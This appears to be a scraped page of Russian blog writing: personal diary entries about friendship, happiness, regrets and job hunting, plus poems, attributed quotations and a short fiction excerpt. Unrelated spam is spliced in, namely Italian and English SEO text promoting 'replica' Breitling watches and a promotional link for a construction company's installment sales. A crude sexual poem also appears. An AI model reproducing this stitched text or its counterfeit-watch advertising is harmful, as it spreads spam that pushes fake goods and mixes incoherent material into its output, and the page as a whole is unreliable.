Мне много что нравится в осени. Однако, чувство напряженности не покидает мою неприкрытую душу. Три месяца из двенадцати ты сидишь на станции между двумя поездами, сойдя с одного, ожидая другого. Ты уверен, что следующий обязательно придет, но все равно не перестаешь опасаться чего то непредвиденного.

В этом вся осень. В промежутке.

Я читаю: «Я буду после работы сразу
И останусь» - но не останется. Нестыковки.
Пусть указывают срок годности каждой фразы
На упаковке

Вера Полозкова

знаете, мне никогда не дарили огромных букетов цветов, мне ни когда не звонили посреди ночи пьяным и орали в трубку " я же тебя люблю " нет тоже не было, мне не звонили даже просто так что бы " привет как дела ? я так соскучился", и не было сообщений " ну что ты дошла?" после секса мы ни когда не лежали в обнимочку, не лежало вместе в сугробах и не смотрели на заезды, и пусть, он для меня идеальный и я его и без этого люблю, только вот он меня нет

Не знаю почему. По сути ничего ужасного не произошло. Но так, всего понемногу и в куче огромный "а почему бы и не пореветь?" Еще и погода располагает: пасмурно, дождь, ветер, холод…

с ним нет жизни и без него не жизнь –
все в чернильных пятнах и мутных лужах.
ты сама не заметила, как записалась в его пажи.
а теперь расскажи, как он все еще бессовестно очень нужен
и как ты захлебываешься в этой лжи.

© Саша Птица

Я шептала слова, о которых теперь жалею,
Возвращалась туда, где чужие следы плутали,
Я просилась на руки раненым редким зверем,
Но меня мучительно
Медленно
Убивали.

Я дарила тепло, выжимая себя до капли,
Я смотрела сквозь лед, находила в пустотах душу
И лечила её, а мне в спину летели камни.
Я теперь как ребенок -
Я верю тебе
И трушу.

Все обычно прощались - без слез и без многоточий.
Я звала бога "папа", по-детски его просила:
Пусть появится тот, с кем можно общаться молча,
Чтобы нам друг без друга
Было
Невыносимо.

Все, что я получала, может быть, по заслугам,
Может тернии приведут меня к новым звездам.
Я прошу тебя, если всё так, протяни мне руку.
Я устала держаться
За этот бескровный
Воздух.

Хрустальная Марго

После пережитого страдания,

Сознанию всегда найдется что сказать.

Слова придуманы для облачения боли:

Красивый, но порою вычурный наряд.

Если всю жизнь избегать чего-то, что тебе нравится, тогда это всё еще управляет твоей жизнью, и это означает, что ты так и не научился дисциплине. (с) Стэн Марш. South Park

Le persone che scelgono orologi Breitling dovrebbero essere quelli che chiedono molto per le prestazioni e la funzionalità di orologi da polso. Come è noto, Breitling è un orologiaio che ha raggiunto il picco di orologeria funzionale art. Se siete in famiglia Breilting, non si deve che le collezioni di orologi replica rilasciati da questo marchio non si limitano ai cronometristi di immersione e piloti orologi. Inoltre, questo produttore di orologi ancora coinvolgere nel settore dei dispositivi di cronometraggio corse svelando il suo Breitling per la linea Bently.

A differenza di altre collezioni provenienti da Breitling, orologi Breitling Bently non solo sono notevoli in termini di funzionalità, ma anche intrigante nel design. Se siete che desiderate per prezzi accessibili orologi spogliatoi Breitling, replica Breitling Bently orologi sono esattamente quello che soddisfa le vostre esigenze. La gente di solito vengono Breitling Superocean replica Orologi per vari scopi. Alcuni mirano a ottenere pezzi di lusso necessità mentre altre cercano dopo itmes sorprendentemente personalizzati. E la replica Bently Supersports orologi sono il coordinamento delle loro. Questi orologi replica Breitling dispongono di un design accattivante con decorazione coraggiosamente colore.Si può facilmente vedere l'ombra dei potenti e agili vetture stradali dai quadranti del cruscotto di ispirazione in questi replica orologi. Prendere la versione arancione, per esempio.

Si tratta di un modello presenta tre contatori anulari in arancione nonché una lunetta con un tipico motivo a rilievo zigrinato. Tre sub quadranti sono progettati come 1/4 di secondo cronografo, di 60 minuti totalizzatore e 12 ore totalizzatore. Cosa c'è di più, la raffinatezza funzionale della replica Bently Supersports orologi può anche essere riflessa ruotando il pignone lunetta con tachimetro variabile. Sicuramente, questi replica orologi ben meritano il titolo come la perfetta combinazione di personalità caratteristica e della funzione impareggiabile. Per le persone che hanno bisogno di queste funzioni esattamente, replica Breitling Bently orologi agiscono come loro compagno affidabile. Tuttavia, se si queste funzioni non hanno nulla a che fare con te, hanno appena diventato una dimostrazione della tecnica dell'orologeria di alto livello e l'artigianato.

Как оказалось в Колтушской строительной компании есть продажа квартир с рассрочкой платежа, и кредит можно оформить, словом все для людей :)) https://www.ksk21.ru/рассрочка-от-застройщика

Никто не обязан относиться к нам так, как мы относимся к ним. Просто стоит это понять однажды и перестать разочаровываться в людях, ожидая от них слишком многого.

Не полагайтесь слишком сильно на кого нибудь в этом мире, потому что даже ваша собственная тень покидает вас, когда вы в темноте.

© Восточная мудрость

— Как вам удается столько успевать и относится ко всему оптимистично?
— А я просто ни с кем не спорю.
— Но это же невозможно!?
— Ну, невозможно так невозможно…

Давай закроем Гештальт!

Не трогай меня за внутреннее.

Любовь -когда люди выбирают каждый день рядом быть

Все остальное - напускное, искуственное

Мы застреваем в пространстве и времени,

Созданных тобой границ и иллюзий.

Я называю это тратой времени,

Слишком низкая скорость диффузии.

Если про тебя идут слухи, значит, ты — личность. Запомни: никогда не обсуждают и не завидуют плохому. Завидуют лучшим, обсуждают лучших. Лучше быть центром внимания, имея скандальную репутацию, чем находиться в примитивном стаде осуждающих.

Не лезьте в душу, не смакуйте:
«Кто? С кем? Когда? И почему?»,
Ведь жизнь чужая — лес дремучий,
Споткнуться можно самому.
И не судите люди — вы не Боги!
И не завидуйте, ведь зависть — так черна.
У каждого своя дорога,
И жизнь у каждого одна!

Доброй дороги — идущим! Сил и терпения — ожидающим! Тепла и искренности — встречающим. Чаще улыбайтесь новому дню и не забудьте сказать, кому хотели, люблю!

© Мать Тереза

If Rolex watches stand out due to their luxuriant style, then what makes Breitling watches prestigious must be their sophisticated function. As a brand which is positioning to create functional timepieces for people in different fields, Breitling never stop making legends in the industry of timepieces. Collections from Breitling like Superocean and Transocean obtain their success thanks to their extraordinary performance underwater. That should be attributed to Breitling’s remarkableness in watchmaking technology. Breitling is an unusual manufacturer who prevails over others by watchmaking technology. However, as the substitutes of Breitling watches choosed by most individuals, replica Breitling watches, today, are demonstrating their prominence in technolgoy to the world in their own way. Let’s just check out the enchanments of replica Breitling watches. This replica Breitling Transocean Chronograph GMT counts as a stunner of this family with a refined elegant design and breakthroughs in function. As its name indicates, this item, compared with other pieces from Transocean collection, is superior with an ultra-practical dual timezone system which allows wearers to effortlessly read off another time zone. This function can opportunely meet the demands of globetrotters or those who are required to go abroad frequently. The second time zone can be easily showed to wearers with an extra red hand and a 24-hour scale hour markers in the outer ring of the dial. In addition to its dual timezone system replica cartier watches, this replica Breitling watch still captures our eyes with its utmost elegant look. Ivory white dial is perfectly ornamented by the wave pattern and three counters for seconds, 30 minutes and 12 hours indicating. Sophisticated yet understated is the highlight of this piece. Convex sapphire crystal and a smooth steel bezel are the testimony of quality, providing the dial with firm protection. It is only replica Breitling watches that can put both design and function together while still keep affordable prices.

Нафуфырилась сегодня с утра и поехала забирать свои документы теперь уже с бывшего места работы (хотя работой это назвать язык не поворачивается). Зашла, поздоровалась, улыбнулась, забрала и счастливая пошла вон из этого места. Кстати в автобусе, пока ехала, мне позвонили из одного банка и пригласили на собеседование. От этого и настроение стало лучше, и надежда появилась.

Тем более у меня было сегодня на полпервого уже назначено другое собеседование, о котором я говорила (от одногруппницы). Собственно, компания-конкурент той, где я потеряла свое время. От этого еще больше хочется туда попасть. Тем более, там уже работают двое моих знакомых, в том числе Валера - чувак, с которым мы с первого курса на всех пьянках вместе глушим :D Ну, это уже другая тема. В общем, переговорили с девушкой, отвечающей за подбор персонала, она записала наш разговор на вебку (первый раз такое вижу) и сказала, что отправит генеральному, чтобы он мог посмотреть и решить. Ну и как обычно, "позвоним в течении 2х дней". Окей.

Пришла домой, а тут нет воды. Совсем нет. Наша УК прям верх "пунктуальности" - вешает объявление, когда уже поздно. Хорошо еще, что приготовить обед мне это не помешает. А вообще есть и хорошие новости - вчера позвонила одна моя сестра, которая тоже здесь живет, сказала, что выиграла два билета на камеди батл шоу и предложила их нам. Так что скоро я пойду их забирать, а уже завтра мы с моим пойдем на шоу. В предвкушении)

Таки дела.

Я для тебя "будь со мной, но не рядом",

я для тебя пес "хатико"

Ты для меня "ветер"

И "хочу/не хочу знать его"

Мы друг для друга "близкие"

Но честными быть - нас и нет

Ты между строчек "нет искорки"

Я между строчек "любовь есть обет"

Мы друг для друга не созданы

Но общее тлеет внутри

Ты без меня как и до меня

Я без тебя "отпускаю - лети"

Мы поговорили с моей Л., и словно что-то невидимое, но очень тяжелое покинуло пространство моей Вселенной и стало легче. Мне и правда, ее не хватало. Мы переписываемся с ней часами, а тем для разговоров не уменьшается, а только увеличивается. Нам есть, что рассказать друг другу, есть что вспомнить. У нас на двоих действительно много общих воспоминаний, много общего.

А что касается Н., что бы я там к нему не испытывала, дружба с Л. для меня важнее. И я благодарна ему за то, что он научил не верить словам и показал, что дружба куда важнее невзаимных чувств.

И я действительно искренне радуюсь за то, что они обрели друг друга. Им хорошо вместе. И они чертовски похожи.

Иду мимо городского пруда и так отчетливо вспоминаю, как мы с Лехой, согнувшись пополам, когда-то рассматривали и обсуждали здесь потусторонний мир, который видно в отражении воды. А сейчас я у Лёхи в черном списке в друзьях.

Возле этого дома мы расходились одним вечером с парнем, который до умопомрачения мне нравился: провожала его, это у меня забава такая была.

А здесь мы часто останавливались с друзьями перекусить и встретиться со знакомыми. Бывали в этом месте очень часто. Как же мне нравилось стоять в куче людей и дышать дымом сигарет (а порой и сигарилл - вот такие мы мажоры) !

В этом кинотеатре за сущие копейки каких только фильмов я не видела! И что здесь только со мной не происходило… Первый поцелуй с моим первым мальчиком, например.

А мимо этой лавки я нарезала круги каждый божий вечер, потому что там всегда целовался со своей девушкой парень моей мечты (уже другой мечты). Я задорно здоровалась, проходила мимо и ревела. Вот дурёха!

Иду по темному, местами неосвещенному городу и теряюсь во времени: утро или ночь?

Центральная площадь. Топаю по разметке, нарисованной мелом на асфальте. У нас на выпускном именно здесь была такая же.

А на этой лавке я плакала, когда мне позвонил незнакомый номер: "не реви!"

Здесь меня клеил какой-то дядька, доказывающий, что он москвич, и уговаривавший меня показать, что это я там такое рисую. Рассказывал о Москве несусветную чушь!

И вот!.. Мой двор. С кустом сирени, изменившим меня, давно-давно натолкнувшим на мысли о великом. Лавочка у подъезда. Знает о каждом жителе столько, сколько не знает никто во всем мире, и молчит.

Шесть пятнадцать утра. Двадцатое октября. Мне сегодня двадцать лет, и я понимаю, что жизнь только началась. Я дома.

– Похоже, ты пьян.
Вглядываясь в жидкость в стакане, я ответил:
– Все к тому и идет. Еще я жалок.
– Ой, да брось ты. Рассказывай, что случилось.
– Руби порвала со мной.
Несколько секунд Макс молчал.
– Она не сделала это.
– Да, порвала. Наша связь в Нью-Йорке стоила ей работы, в то время как мне всего лишь погрозили пальчиком. И она думает, что теперь не попадет в программу Мэгги.
Он тяжело вздохнул.
– Вот дерьмо.
– А я отправился ужинать с Порцией после ночи нашего первого секса, не зная, что Тони поставил ее перед выбором: я или ее работа.
– И она выбрала тебя, – предположил мой брат.
Я хохотнул, держа у рта стакан.
– Именно.
– Придурок.
– Точно, – допив, я бросил стакан на пол. – Поэтому, разумеется, это была серьезная причина порвать со мной.
– Значит, ты собираешься налакаться до потери пульса и валяться на диване, утопая в жалости к себе?
– Ты же знаешь, как выглядела моя жизнь с Порцией, – начал я. – А с Руби… Я раньше никогда особенно не думал о детях или чтобы найти нечто, что есть у вас с Сарой, но с ней я захотел все это, – я посмотрел в окно на небо и недавно распустившиеся листья, подрагивающие на весеннем ветру. – Я никогда не буду в порядке после этого. Она меня изменила, а я… Я не хочу становиться прежним, – в телефоне повисла тишина, и я поднял свой стакан и снова наполнил его. – Поэтому напиться, чтобы забыть о своей потере – звучит неплохо.
– Или же, – предположил он со смехом, звучащим как «ты мудила», – ты мог бы отправить свою тупую задницу поговорить с Мэгги. Мать твою, Найл. Можно подумать, у тебя нет возможностей. Выясни, что ты можешь сделать, и исправь уже это. Вот что нужно сделать, приятель.

Дрянная девочка, породистая киса! Любительница клубной жизни и гламурной чепухи. Ты за коктейли на богатом папике повисла, Его карман исполнит все твои мечты! На всё согласна силиконовая дура, Ты за бабло готова телом торговать! Мартини в баре, в ресторане знатный ужин, И он везёт на крузаке тебя катать! Домой к утру где ждёт тебя родная мама. Ты вытираешь с губ любовные плоды, Из под руля ты в миг башку свою достала, Без всякого стыда и суеты! Он не проводит тебя в след влюблённым взглядом, Он лишь знаком с твоим рабочим ртом! Ты для него как все, простая шмара, Но в сумочке есть новенький айфон!

Если все равно ничего нельзя сделать, незачем доводить себя до безумия.

Эрих Мария Ремарк “Триумфальная арка”

Почему так сложно не жить прошлым? Все говорят, что если ты хочешь быть счастливым, ты просто обязан жить настоящим. Надо смотреть только в перед и не оглядываться. „Прошлого не изменить“ – очень знакомая фраза, не правда ли? А мы просто киваем, что соглашаемся и я не думаю, что мысленно все с этим согласны. Такие фразы звучат постоянно, но не ужели те кто ее произносят сами ни когда не смотрели назад? Да я не верю..

Я конечно согласна, что живя прошлым, у тебя не будет будущего. Согласна, что то что было не изменить. Все я думаю это и так понятно. Очевидно, что ли! Но всегда, же есть это странное „но“, которое не дает тебе покоя. И всегда заставляет тебя задуматься о той или иной ситуации из прошлого. Где уже все равно ничего не поменяешь, а мысли все еще там. А это фраза „все что не делается к лучшему“ настолько банальна и очевидна.. Да, конечно, все делается к лучшему. И может быть так все и должно быть, мы все равно оглядываемся в прошлое. Покажите мне человека, который живет только одни будущим..

Я не так сильно зацикливаюсь на прошлом. Я просто временами думаю, что можно было б что-то сделать раньше, к чему то прийти быстрее. Да и по поводу людей тоже временами задумываюсь.. Правильно ли тогда оттолкнула или на оборот начала с ними общается. Это конечно нельзя назвать, что я живу в прошлом.. Я просто начинаю сомневаться так ли все надо было делать.

Сейчас могу конечно, все это скинуть на то, что я просто повзрослела, по умнела. Но разве прошлое не надо для того что бы просто оглядываться и брать на заметку что-то в настоящее? Так же правильнее..

То что мы не можем уже изменить или сделать должно оставаться. Должны просто учитывать то, что если мы все еще тянем это прошлое за собой.. То просто старайтесь не уничтожать себя в настоящим из-за этого..

Когда чего-нибудь сильно захочешь, вся Вселенная будет способствовать тому, чтобы желание твое сбылось.

Пауло Коэльо, “Алхимик”.

Я мастер разрушать себя изнутри! Я всегда говорю и буду говорить, что мечтать не вредно. Это часть нашей жизни, но надо не забывать, что вы живете в реальности. Тут не будет именно так как в вашей голове.. И мы может быть даже просто выживаем в реальности, приспосабливаемся и только это. Просто не возможно перенести всю твою фантазию из головы в жизнь..

А вот тут это и становится самой большой проблемой мечтателей. Я вот лично, слишком часто летаю в облаках. Как только минута бездействия в реальности, все я пропала. А поверьте, таких минут у меня предостаточно. Кто может проехать свою остановку? Кто забудет, что у него пересадка на другой остановке? Вот за это я ненавижу то, что мне каждый день надо ехать на учебу 40 минут… Это все конечно смешно, и конечно, я не всегда так сильно теряюсь и проезжаю свои остановки, но я признаюсь честно такое есть!

Хотя, как я заметила то, что в общественном транспорте моя фантазия берет вверх. Такое огромное количество ситуаций, случаев, да даже экшинов я могу придумать только там. Да там же каждый человек со своими приколами. А так как я не могу читать пока еду, я начинаю мечтать и фантазировать.

А знаете, мне говорили, что мечтатели в свое время имеют все. Это не плохо, мечтать и фантазировать! Возможно эта правда, что если ты что-то сильно захочешь то, все получится. И также если это просто пустяк. Хотя, не забывайте быть реалистами! Ведь только это часть тебя поможет в исполнении, воплощении, твои мечты!

И что бы с вами ни случилось - ничего не принимайте близко к сердцу. Немногое на свете долго бывает важным.

Эрих Мария Ремарк "Триумфальная арка"

Как часто с вами происходило что-то, что вы потом не могли забыть еще очень долго? Я заметила такую вещь, что мы очень хорошо и надолго запоминаем зло. Все плохое, что только с нами произошло, откладывается у нас в голове еще на долгое время. И зачастую мы быстрее можем вспомнить только свои косяки. Все хорошее естественно запоминается, но первым делом вы все равно вспомните свой промах..

И если бы вы только знали, как меня раздражают слова “все что не делается к лучшему”. Да, все конечно понятно, мы делаем ошибки, набиваем шишки, но почему мы утешаем себя именно такой фразой? Она не имеет смысл в большинстве случаях. Мое процентное соотношение будет примерно 90 на 10. И именно 90 процентов не будут относиться к этой фразе, а все таки даю шанс и по этому остальные 10 законно принадлежат – “все что не делается к лучшему”. Зачастую все проблемы мы создаем сами! По этому вообще не стоит это принимать так серьезно.. Спонтанность, конечно не плохо, но подумайте только, сколько раз она приносила вам пользу? Обдумывайте свои решения, ведь большая часть из них должна быть важным решением. Нельзя же так просто психовать и все бросать, а потом доводить себя до слез. Нельзя, но я не исключение и в моей голове тоже такая каша и довожу себя я лучше, чем кто-либо другой. Знаю только одно, что мой инстинкт самосохранения спасал меня много раз. И смотря на других людей и их допущенные ошибки, я все больше и больше благодарю свой страх за то, что не позволил мне сделать такие ошибки.

Не учитесь на своих ошибках, да я знаю, это будет очень сложно. Таких людей, наверное и нет, но стоит пытаться. То, что мы принимаем близко к сердцу должно быть очень важным!

Есть ситуации, которые нельзя распутать. Можно только уйти.

Айрис Мёрдок. "Под сетью"

Совершенно ничего не приходит в мою голову что бы что-то да и написать. Я как то даже и не задумывалась все это время о проблемах. Просто тихо, спокойно проводила эти месяца лета. Я не скажу, что все было на столько скучно и совсем не весело.. Было спокойно и как то не принужденно. Я в принципе довольна тем, что все именно так и есть. Я многое смогла понять, о многом задумалась. Поняла, что все таки у меня не много друзей. А точнее они со временем просто отошли в сторонку. У каждого своя жизнь, интересы. Но соглашусь, что тяжело осознавать, ну точнее не так и просто это. Бывало такое, что ты ловишь себя на мысли, что разговоры с друзьями просто ни о чем. И да, может это и не плохо, но за этими разговорами ты осознаешь, что совершенно ничего не знаешь о человеке. Приходит понимание, что ты каждый раз находишь какие либо отговорки чтобы просто не идти с этим человеком. Или как встреча с бывшими одноклассниками, вроде бы да все нормально, но ты прекрасно понимаешь.. У нас разные жизни, и стали мы смотреть на одни и те же вещи по разному. И как не странно прошло всего два года, а все так сильно изменилось. Нет, нет, не внешне. Они выглядят все так же и даже при встрече мы говорим "да ты совсем не изменился". Да и говоришь же ты все так же, но какое то послевкусии с этим человеком остается и не такое как раньше. Хотя понимаешь, что возможно они все были такими и все те же тараканы в голове. Просто 12 лет школы не давали им права голоса, каких либо перемен и даже свободы. Тем более всю часть жизни прожить в одном городе. Нам всем была не обходима эта свобода. Ведь спустя время, я могу уже вам сказать, что из всех 30 одноклассниках я общаюсь только.. На минуточку задумываюсь я понимаю, что их то всего двое. Да, конечно, я виделась и еще с несколькими. Встречи в которые просто очередной раз доказали, что школьные друзья не всегда будут вечно. А было и такое, что они вспомнили о своих одноклассников только для своей выгоды. Смешно конечно, но как есть.

И что бы не было та все грустно, я думаю, что это не так уж плохо. Мы же со временем встречаем новых знакомых, друзей. Уже с конкретными целями, где будет видно твой это человек или нет.

Бодрячком, как мне всегда говорит сестра, все к лучшему!

Счастье есть общая сумма несчастий, которых удалось избежать.

Жан-Альфонс Карр

В чем заключается счастье? А точнее что для нас это счастье? Вот когда ни будь мы, а точнее многие задумывались об этом. Возможно все по-разному и при разных обстоятельствах..

Выглядит это вроде бы все просто и совершенно не сложно. Счастье - то что заставляет тебя быть счастливым, это говорят абсолютно все и с этим даже не поспоришь. Но а что нас заставляет быть счастливым? Я вот насчитала несколько примеров и прекрасно понимаю, что это только верхушка. Так сказать самое очевидное.

Первое, что приходит на ум это любовь. Да и кто поспорит, что нет. Влюбленный человек это уже счастливый. Разве бывает такое, что любовь да и без счастья. Ну я конечно не буду спорить, в нашем мире возможно всякое. Мы вообще скоро перестанем удивляться, но все же я все таки мечтательница. А это значит, что любови не будет если нету счастья.. К этому я также добавлю и семью! Тут даже не может быть обсуждений.

Второе, пусть будут, мелочи жизни. Те определенные дни, которые делают нас счастливыми. Когда тебе предоставляется такая возможность получить какую либо приятность, даже если день не задался с самого утра. Да, может и не продлится это счастье так долго, но за то подарит хотябы минутную радости. Людям этого не хватает, не зря же говорят, что день должен начинаться с улыбки. И никогда не говорите " это мне погоду не сделает, пусть будет так как есть". Вы хоть представляете, что таким образом вы теряете свой кусочек счастья? На горьком опыте, соглашаюсь, что все пора перестать лишать себя получать частички счастья. Хотя бы в малых дозах, но надо!

Третье, это работа или учеба. Нельзя же ходить туда где тебе плохо, да еще и каждый день. Мы же просто себя насилуем таким образом. Ну я не буду имеет в веду школу, все ж прекрасно понимают, что без этого нельзя. А вот работа, это то что должно тебя интересовать, завлекать. Все тоже самое и с универом. Мы имеем право выбирать то, что нравится. Это уже и значит счастье. Надо заниматься тем, что тебя увлекает. А вдруг еще и на подвиги потянет. Это ж вообще замечательно будет.

То что делает нас счастливым может быть и мелочью или же целой жизнью, историей. Самое главное, дать этому свершится. Возможно кому то надо для этого влюбится, а кому то просто поменять учебное заведение или же открыться и согласится на какие то предложения. Обязаны помнить только то, что счастье всегда будет заключатся только в нас самих!

Времени нет, есть только мгновение. И поэтому в одно это мгновение надо полагать все свои силы.

Лев Толстой

Ловлю себя на мысли, что я уже привыкла быть одиночкой. Это для меня как то проще, легко что ли. За два учебных года, я привыкла к тому, что живу одна и когда я приезжаю на каникулы домой, мне даже не привычно становится. Когда дома всегда кто-то есть, когда тебя кто-то зовет что либо помочь. Совместные завтраки, обеды и ужины. Плюс в том, что ты объедаешься, отъедаешь словно на месяцы в перед. Типичные студенты же.. А так же друзья, которых становится с каждым годом все меньше и меньше. Одни уже уехали в другие страны, других просто раскидало в другие города. Встречаться в родном городе стало все сложнее, не все приезжают или точнее приезжают в не подходящее для меня время.

Люди имеют такое свойство, я думаю что хорошее, меняться со временем. Конечно, все изменения могут быть как и положительными так и отрицательными. Тут ты ничего не можешь поделать.. Но это всегда, наверное, была главной причиной, почему ты перестаешь общаться с тем или иным человеком. И я не говорю, что типо “все ты плохой, вот ты как изменился, айяйяй”. Я наоборот считаю, что у нас с каждым годом появляется все больше и больше интересов, новых увлечений. Это становится причиной, появление нового круга общения, согласитесь не плохо..

Наши люди всегда будут с нами! Лично мое мнение, если та или иная подруга, друг являются “твоими” они и будут рядом. Имею виду, что если даже у вас куча разных увлечений, всегда найдется что-то, что вас друг с другом свяжет. А это уже много стоит!

А я.. Я очень тяжело завожу новых друзей, знакомых. Слишком боязливая, скромная, где не надо.. Ну как это обычно бывает, когда надо молчу, а когда не надо говорю. Прекрасно зная этот минус, я все-таки пока имею друзей, которые еще не убежали. Хотя, есть уже люди, с которыми я стала общаться меньше.

Боритесь со своими недостатками! Никогда не отворачивайтесь первыми! Даже вечные одиночки, могут быть в отличных дружеских компаниях!

Есть три вещи, которые боится большинство людей: доверять, говорить правду и быть собой.

Ф.М. Достоевский.

Самое страшное это знать что ты еще не нашел себя. Самое страшное это не определенность. Самое страшное это то, что ты прекрасно это понимаешь. Понимаешь, но не знаешь, как лучше поступить. Куда податься и что вообще хочется. Прекрасно понимая, что к этому приходим со временем. Когда пробуешь что-то, а не просто без действия сидишь. И может на это уйдет не год, а намного больше. Но возможно это того стоит. Если нельзя сейчас или просто нет возможности, то может еще немного подождать?

Самое обидное наверное то, что в этот срок тебя будут мучить сомнения. А это мне кажется еще ужаснее. И не просто ужасно, а жутко тяжело. Словно груз неизвестности у тебя на плечах. Дикое желание избавится, но опять же есть много причин. Абсолютно все боятся последствий, и только они являются главным минусом. То, что останавливает или заставляет еще раз все обдумать стоит ли бросать то, что уже есть. И все же необходимо понимать, что все это затягивается и не в лучшую сторону.

Чувство что идет все не так, не дает мне покоя. Меня гложет то, что я делаю что-то не то, допускаю ошибки. Причем ошибки во многом. А самое не понятное это то, что я не знаю, чего хочу на самом деле. Сегодня я ставлю табу на некоторые темы своей жизни. Я не хочу их обсуждать или же врать говоря что все хорошо. Я хочу разобрать в этом сама и не думаю, что просто обсуждение этого приведет к чему либо. Совершенно не хочу слушать слова „да может так и надо“; „поступи правильно“. Боже мой, тут можно столько придумать вариантов, которые совершенно не помогут и не заставят действовать. Ко всему надо приходить самому, самое важно я считаю надо обсуждать только наедине с самим собой.

Ждать и надеяться — верный способ скоропостижно рехнуться, а вот носиться по городу и делать глупости — это именно то, что надо!

Макс Фрай

Может ли быть сказка в реальной жизни? И как же ее хочется получить прямо сейчас.

Мы всегда представляем того чего может даже не случится. Всегда мечтаем о том, что вот-вот сейчас случится чудо. Но.. Всегда это чертовое “но” мешает твоей сказке. Я конечно и считаю себя реалистом, но мечтаю уж сильно много. Всегда чего-то хочется не реального, сюрприза что ли. А что? Знаете, как было бы здорово.. Если б вот так бац и снег пошел. Хотя снег в мае месяце это уже не была б такая сказка, с такой-то погодой можно только удивиться, почему нет снега. Сказка должна присутствовать в нашей жизни! Мы должны иметь на это право, не только ж читать их или смотреть в каких либо фильмах.

Если так подумать, наше воображение не может же само придумать это. Может чудеса всё-таки происходят? И правда обходят многих стороной, а что в такое еще можно поверить. Я всегда говорила, что я неисправимый ребенок и просто еще не готова взрослеть. И пусть мне говорят, что уже пора становится серьезным и переставать мечтать. Я может и прислушиваюсь, но где то в своей фантазии я не перестану быть ребенком.

Думаю, что любой бы не отказался от таких приключений как у той же золушки, белоснежки. И даже если вам уже по тридцать лет. Что вы реально бы отказались от того, что вас зовет замуж принц? В нашем случае это будет скорей всего бизнесмен, артист или еще круче какой либо там политик со связями. Когда тебе открывают весь мир только из за того, что твое сердце бьется сильнее рядом с ним. И все-таки хочу подчеркнуть, что я не имею в виду о деньгах, или какой либо власти, за которой может быть, многие и хотят себе такого мужа.

Да лично мне б хватило просто романтика. Такого с которым можно будет вместе свернуть горы. Достигнуть, и прийти ко всему вместе.. Я хочу, что бы он толкал меня на без башенные поступки, т.к. я сама на такое не соглашусь никогда. Выйти из моей зоны комфортности это для меня уже стресс и чудо.

Кто не хочет приключения? Я никогда не поверю, что такие люди вообще существуют.

Если не знаешь, что испытываешь к человеку - закрой глаза и представь: его нет. Нигде. Не было и не будет. Тогда всё станет ясно.

А.П.Чехов

Требую объяснений! Ну или же я честно признаюсь, что самая глупая.

Хочу понять правильно слова: нравится, симпатичен, влюблена. Ну а на счет слова люблю у меня свое понятие. Так вот, если разбираться в именно этих трех словах, что вы подразумеваете когда их говорите? Лично мне кажется, что это совершенно схожие слова по смыслу.. Но когда ты начинаешь говорить про определенного человека на секунду задумываешься, что сказать. Многие воспринимают каждое слово по своему и вследствие не понимают то, что сказал ему собеседник. Да, я все конечно понимаю, но имею права не знать правильное значение этих слов. И так как у меня всегда каша в голове, я избегаю этих слов и вообще разговора на такие темы.

Я могу с точностью сказать, что "нравится" и "симпатичен" это будет одно и тоже. Ну разве нет? Что он тебе нравится, что симпатичен.. В этот период ты должна что то чувствовать одно. Нет нет, я не говорю о том случи когда тебе нравится какой либо актер и т.д. Это для меня вообще другое. Ну нравится актер, ну и все. А что на счет этих слов относящиеся к определенному человеку, которого ты видишь, знаешь и разговариваешь. Все сразу же по-моему подумали "ты влюбилась". Но нет, не думаю и не верю.. Нельзя влюбится в человека которого ты едва знаешь. Вот, что подразумевают под словом влюблена.. Влюблена в его образ жизни, во все что просто касается его. Уже даже наверное похоже на какое то преследования. Влюбленность это наверное то, что ты понимаешь как хорошо тебе рядом с ним и плохо где то далеко от него. И вот только в таком состоянии человек может признаться в любви. Последняя стадия, так назвать.

Никогда не кому не говорила "люблю тебя". И вытащить эти слова из меня просто не реально, я не считаю нужным раскидываться ими. А попусту раскидываться ими, не чувствую того, что ты готов ответить за эти слова, НЕЛЬЗЯ.

Говорите, лучше " ты мне нравишься или ты мне симпатичен" если это только начало. Если вы хотите, узнать этого человека. Думаю это будет правдиво, чем так просто в лоб сказать " я люблю тебя". Вы не сможете потом от них отказаться, а больно потом будет и вам тоже. Говорите "я влюблена в тебя". Это будет ближе к тому, что вы уже его полюбили, но в тоже время мне кажется это и не любовь. Так сказать что-то между. Да и романтичнее как то.

Да знаю, совсем отошла от разбора этих слов.. Но я высказалась и поделилась своим мнением. Оно лично мое мнение и у меня даже не было мысли его навязывать..

Дай каждому дню шанс стать лучшим днём твоей жизни.

Марк Твен

Как просто говорить, что твоя жизнь в твоих руках. Как просто считать, что от тебя зависит все. Как просто говорить “возьми и сделай“. Да все прекрасно знают, что на каждое действие есть свои последствия. Не каждый может получить желаемое, но.. Но вы все обязаны просто попробовать. Достигнуть желаемого или просто идти маленькими шагами к своей цели. В нашей, а точнее в вашей, жизни будут всегда препятствия и останавливаться мы не имеем право. Зная по себе это тяжело. Я знаю, что нельзя так просто получить желаемое. Его надо взять, прийти к нему перешагивая все, что мешает. Не забывайте, что вы не должны идти по головам и при этом вы не должны терять близких. Мечтать не вредно! Это даже хорошо, но ваши планы не могут не имеют право испортить реальность.

А что касается мелочей.. Радуйтесь им, и не пропускайте их мимо. Идя к цели, помните о том, что жизнь полна радости, счастья. Не закрывайтесь, не добивайтесь чего либо одни. Есть те, кто смогут вас поддержать, помогут, и может быть совершить желаемое будет проще и быстрее. Друзья должны быть, они будут твоей частью. Но.. Помнить надо то, что не надо держать возле себя тех, кто не сделает твой день, твою жизнь лучше. Ты должен прекрасно понимать, что друзья должны остаться на все жизнь. И когда со временем они начнут отсеиваться, это значит, что ты плохой или они плохие. Просто со временем ты начинаешь прекрасно понимать, кто был для тебя друг, а кто был просто товарищем.

Пока есть время, пока есть возможность, не надо сидеть дома и проводить время в соц сетях. Да и вообще, сидеть взаперти круглые сутки. Да, это зона твоего комфорта. Да, это уже стало просто и удобно. Я сама люблю больше проводить время в своей квартире и почти никуда не вылизать. Я прекрасно понимаю, что когда ты дома.. День остается самым простым и очередным. Так ничего не изменится! Хочу постараться выбраться, из так сказать панциря. Выходите из своей зоны комфорта! Найдите себя, как бы это не было тяжело.

свежие новости^^ и небольшая ремарка: у меня такое впервые, чтобы никто не подумал, что я тут реально хуёвый работник, ни с кем не здороваюсь, никому не улыбаюсь, разбрасываюсь ключами и вообще веду себя не пойми как.

